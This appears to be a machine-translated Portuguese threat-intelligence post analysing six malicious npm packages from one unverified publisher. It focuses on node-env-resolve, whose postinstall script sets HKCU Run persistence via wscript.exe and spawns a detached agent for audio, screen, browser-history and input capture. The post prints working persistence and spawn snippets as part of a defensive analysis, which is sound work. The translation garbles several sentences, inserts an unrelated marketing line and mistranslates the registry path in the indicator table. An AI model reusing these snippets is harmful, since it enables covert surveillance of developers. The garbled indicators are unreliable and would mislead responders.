TL, DR
Entre 1º de abril e 3 de maio de 2026, um único publicador npm, user0001, registrado com o endereço de Gmail não verificado tanvisoul9@gmail.com, discretamente implementou seis pacotes com nomes deliberadamente insossos, que remetem à infraestrutura: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime e node-env-resolve.
As duas últimas versões de node-env-resolveAs versões 1.0.7 e 1.0.8 do malware foram sinalizadas pelo sistema de Alerta Antecipado de Malware (MEW) da Xygeni em 2 de maio e confirmadas como maliciosas em 3 de maio.
O implante é incomum pelo que não é: não há bots do Telegram, nem callbacks OAST, nem nada. ofuscaçãoE não houve nenhuma tentativa de obter credenciais da AWS durante a instalação. Em vez disso, postinstall.js instala uma entrada de persistência de inicialização do Windows, usando uma chave HKCU Run que inicia wscript.exe contra um stub VBS. Em seguida, ele gera um agente Node.js separado que agrupa módulos para captura de microfone, roubo do histórico do navegador, captura de tela e simulação de mouse/teclado.
Estamos chamando isso de cluster. DevTap, depois que o kit é instalado e executado na máquina do desenvolvedor.
Todos os seis pacotes estavam disponíveis no npm no momento da redação deste documento. Nós os submetemos ao canal de abuso do registro. Os responsáveis pela segurança devem remover quaisquer instalações do editor até que a remoção seja concluída.
O Cluster: Seis Pacotes, Uma Editora
A conta do editor user0001 Não foi verificado. Não possui nenhuma verificação. SCM Verificação, nenhum e-mail vinculado a um domínio e nenhum histórico anterior. O nome de usuário do Gmail. tanvisoul9 Não aparece em nenhum outro registro de editor do npm que conseguimos encontrar.
Todos os seis pacotes listam o mesmo mantenedor, foram publicados a partir da mesma conta e compartilham o mesmo package.json texto padrão. Não há nada. repositorynão homepage, e não description mais longo que uma única linha.
A estratégia de nomenclatura é a parte interessante. Ao contrário de uma campanha clássica de confusão de dependências ou typosquat, nenhum desses nomes visa uma biblioteca upstream específica. Em vez disso, eles são calibrados para se integrarem perfeitamente ao código-fonte. package.json or npm ls saída.
| Pacote | Publicado pela primeira vez | Última versão | versões | Papel no Cluster |
|---|---|---|---|---|
| centraloger | 2026-04-01 12:46 UTC | 1.0.9 | 5, de 1.0.5 a 1.0.9 | Capa do utilitário de registro de logs do Cluster; publicação mais antiga |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Capa genérica de auxiliar DOM |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Imita a família node-fetch |
| agente conector | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Nome genérico “agente” |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Imita as ferramentas de compilação de módulos nativos. |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, de 1.0.0 a 1.0.9 | Conta-gotas ativo; implante completo |
Nomes como centralogger, node-fetch-lite e node-gyp-runtime São projetadas para parecerem incontroversas em uma revisão de código. Elas soam como coisas que já estariam presentes na árvore de dependências de um projeto.
Combinados com um editor novo e não verificado e links de repositório ausentes, eles formam um padrão reconhecível: um agente inserindo nomes de fácil acesso no registro e, em seguida, iterando rapidamente sobre aquele que importa. Neste caso, node-env-resolve Recebi dez versões em oito dias.
O que é instalado em um Windows Dev Box
A cadeia maliciosa em node-env-resolve:1.0.8 É curto, direto e excepcionalmente rico em recursos para um RAT do npm.
Pós-instalação: Persistência e Agente Desanexado
package.json declara um único gancho de instalação:
{ "scripts": { "postinstall": "node postinstall.js" } }
postinstall.js faz três coisas em ordem.
Primeiro, ele prepara um diretório de instalação fora da árvore do npm. O caminho é calculado em tempo de execução no script como INSTALL_DIREm seguida, executa um processo interno. execSync('npm install --production --silent ...') dentro dele para extrair as dependências de tempo de execução do implante. Isso coloca o agente em algum lugar no disco manualmente. node_modules A auditoria não encontrará nada.
Em segundo lugar, ele cria um inicializador VBS e o registra para persistência na inicialização:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
/v ${AGENT_NAME} \
/t REG_SZ \
/d "wscript.exe \"${vbsPath}\"" /f
wscript.exe é o Windows Script Host, um binário assinado da Microsoft que executa .vbs arquivos sem janela de console. Isso é précisÉ por isso que ele é preferido para esboços de execução automática.
Também existe uma correspondência reg delete caminho interno src/index.jsIsso sugere que o implante foi projetado para ser removido facilmente a pedido do operador.
Terceiro, ele gera um processo filho separado:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {
detached: true,
env: { ...process.env, SERVER_URL }
})
Dois detalhes são importantes aqui.
SERVER_URL é lido do ambiente. Como resultado, o endpoint C2 é configurável por implantação e não está incluído no pacote. Essa pequena, porém deliberada, escolha impede a maioria das varreduras de IOC estático.
Além disso, o filho gerado herda todo o ambiente do pai. Portanto, qualquer NPM_TOKEN, AWS_*, GITHUB_TOKEN, ou seja, o socket do agente SSH presente no shell do desenvolvedor durante a instalação é transferido para a memória de longa duração do agente.
O que o agente envia com
O pacote src/ A árvore inclui três módulos cujos nomes por si só já contam a história: audioCapture.js, browserHistory.js e systemInfo.js.
A lista de dependências de tempo de execução, resolvida durante a fase de preparação. npm install, corrobora-os.
Essa abordagem transforma um incidente caótico em uma resposta controlada.
Em vez de reagir cegamente, as equipes operam com Priorização clara e remediação rápida.
| Dependência | Para que serve neste contexto? |
|---|---|
| captura de tela-desktop | Captura periódica de tela |
| @nut-tree-fork/nut-js | Automação de mouse e teclado / simulação de entrada |
| melhor-sqlite3 | Leitura direta dos bancos de dados SQLite de histórico do Chrome, Edge e Firefox. |
| adm-zip | Agrupamento dos artefatos coletados antes da exfiltração |
| afiado | Redimensionamento/compressão de capturas de tela e artefatos de imagem |
| cliente socket.io | Canal C2 bidirecional persistente |
| id-da-máquina-do-nó | Impressão digital estável por host para rastreamento de vítimas |
systemInfo.js chamadas os.networkInterfaces() para coleta adicional de impressões digitais antes do primeiro sinal.
Por que a captura de áudio é o sinal de destaque
A maioria dos RATs do npm que analisamos no MEW param no roubo de segredos durante a instalação. Eles leem ~/.npmrc, Leia ~/.aws/credentials, raspar process.env, enviar uma requisição POST para um webhook e sair. Isso se encaixa em um modelo econômico de ataque relâmpago. As credenciais têm uma vida útil curta e o atacante precisa monetizá-las rapidamente.
node-env-resolve tem um formato diferente.
A persistência está configurada para sobreviver à reinicialização. O agente é executado de forma independente e de longa duração. wscript.exeO kit que ele carrega é para estar presente na máquina do desenvolvedor, não para ser simplesmente removido e esquecido: um gravador de microfone, um driver de teclado/mouse, ingestão completa do histórico do navegador, captura de tela e um canal Socket.IO interativo de volta para um servidor C2 configurável.
A captura de áudio, em particular, é o limite que esta campanha ultrapassa e que a maioria dos malwares do npm não ultrapassa.
Cada vez mais, a estação de trabalho de um desenvolvedor também é o local onde ele realiza reuniões diárias, chamadas com clientes, discussões de design e conferências de plantão. Um dispositivo que grava o áudio do microfone não está realmente atrás do token npm do desenvolvedor, mas sim do que ele diz em frente ao laptop.
Esse conjunto de recursos, somado à falta de ofuscação e à ausência de qualquer exfiltração chamativa durante a instalação, sugere um posicionamento prévio para acesso direcionado, em vez de roubo oportunista de credenciais.
Não estamos atribuindo a autoria apenas com base nisso. Estamos observando o perfil operacional.
A cadência de iteração de oito dias em node-env-resolve é o detalhe operacionalmente mais revelador na linha do tempo.
Este não é um instalador que é simplesmente instalado e esquecido. O editor está mantendo o instalador ativamente, o que geralmente significa uma de duas coisas: ou eles estão ajustando-o em ambientes de teste antes da implementação em larga escala, ou já estão recebendo telemetria de instalação e estão respondendo a ela.
Os outros cinco pacotes praticamente não sofreram alterações após a publicação inicial. Isso se encaixa no padrão "criar uma etapa e manter o nome" para o cluster de suporte, enquanto o esforço de engenharia se concentra no pacote que realiza o trabalho.
Atribuição: Pequenas pistas, nenhum veredicto definitivo
Público OSINT Os sinais são tênues e não os distorceremos. O que é observável:
O identificador do Gmail tanvisoul9 A semelhança parcial com um nome próprio do sul da Ásia, "Tanvi", é um sinal fraco. Os nomes de usuário do Gmail não são identidade, e o prefixo "@" indica que o endereço de e-mail não é um sinal de alerta. soul9 É genérico. Não é seguro inferir a geografia apenas com base na localidade de um e-mail.
O estilo de código do Node.js é comum: standard chamadas de biblioteca como os, child_process, spawn e reg addNão há ofuscação, rotação de strings ou lógica anti-depuração. O autor demonstra familiaridade com primitivas do registro do Windows e orquestração de processos filhos isolados, mas não parece estar utilizando técnicas mais furtivas que poderiam ser plausivelmente empregadas.
As dependências são totalmente padronizadas e bem conhecidas: screenshot-desktop, nut-js, better-sqlite3 e socket.io-clientNão há protocolo personalizado, nenhuma pilha C2 desenvolvida do zero e nenhum truque de persistência inovador além do que se encontra em livros didáticos. Chave de execução HKCUEste é um integrador competente, não um criador de ferramentas.
Não encontramos strings em idiomas diferentes do inglês, comentários embutidos, dados de localização ou impressões digitais de fuso horário da saída do compilador nos artefatos publicados.
Verificamos a sobreposição de código com campanhas anteriores que já monitoramos, incluindo: Shai Hulud, Esquecimento da coruja, Buildkite e o recente heibai / claude-code-best Não encontramos nenhuma família de clones Anthropic-CLI: nenhum padrão C2 compartilhado, nenhum layout de arquivo compartilhado e nenhum idioma compartilhado.
O que não diríamos é que se trata de um agente estatal, um grupo conhecido ou que esteja geograficamente ligado a algum país específico.
O perfil operacional é consistente com uma pequena equipe de habilidades moderadas realizando vigilância de estações de trabalho de desenvolvedores. É provável que seja motivado financeiramente pelo uso posterior do acesso, mas possivelmente também por reconhecimento como serviço para um comprador separado.
Dois pontos indiretos corroboram essa afirmação: evitar mecanismos de exfiltração que chamem a atenção e que sobrecarreguem o cluster rapidamente, como bots do Telegram; oastify.com, ou canarytokens, e os nomes de pacotes deliberadamente genéricos, que priorizam instalações lentas e de longo prazo em vez de um pico breve de alto volume.
Indicadores de comprometimento e detecção
| Pacotes e editor | |
|---|---|
| Campo | Valor |
| editor npm | user0001 |
| E-mail do editor | tanvisoul9@gmail.com, não verificado |
| PACOTES | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Confirmado como malicioso | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Artefatos do hospedeiro | |
|---|---|
| Formato | Valor |
| Chave de persistência | HKCU\Software\Microsoft\Windows\Versão Atual\Executar |
| Valor de persistência | Nome da variável; dados no formato wscript.exe " \\ .vbs" |
| Instalar gancho | postinstall: node postinstall.js no manifesto do pacote |
| Módulos de implante | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Diretório de preparação | INSTALL_DIR resolvido fora do diretório node_modules do projeto; localização definida por postinstall.js no momento da instalação. |
| Network | |
|---|---|
| Formato | Valor |
| Transporte C2 | socket.io-client, canal bidirecional persistente |
| Ponto final C2 | Fornecido ao agente através da variável de ambiente SERVER_URL; não está codificado nos artefatos publicados. |
Notas de Detecção
Duas regras abrangem essa família sem a necessidade do ponto final C2.
Primeiro, sinalize os scripts de pós-instalação que executam uma operação interna. npm install em um caminho fora do diretório do próprio pacote. Qualquer programa legítimo para baixar pacotes pré-compilados, como node-gyp reconstrói ou baixa binários pré-compilados, grava dentro do pacote ou na plataforma.standard Caminhos de cache com hashes verificados. Não grava em um cache recém-criado. INSTALL_DIR em outro local no disco.
Em segundo lugar, sinalize os scripts de pós-instalação que apresentarem problemas. reg add HKCU\…\Run com as wscript.exe como o inicializador. Isso nunca é legítimo em um pacote npm. Sinalize e coloque em quarentena.
Uma terceira heurística é útil para identificar o próximo pacote irmão antes de sua confirmação: um novo publicador npm sem SCM verificação, um e-mail do Gmail, não. repository O fato de vários nomes de pacotes curtos, genéricos e com aparência de infraestrutura terem sido publicados em um intervalo de poucos dias já é suficiente para justificar uma revisão manual.
Reportado ao registro npm. Atualizaremos esta publicação assim que a conta do editor for removida.





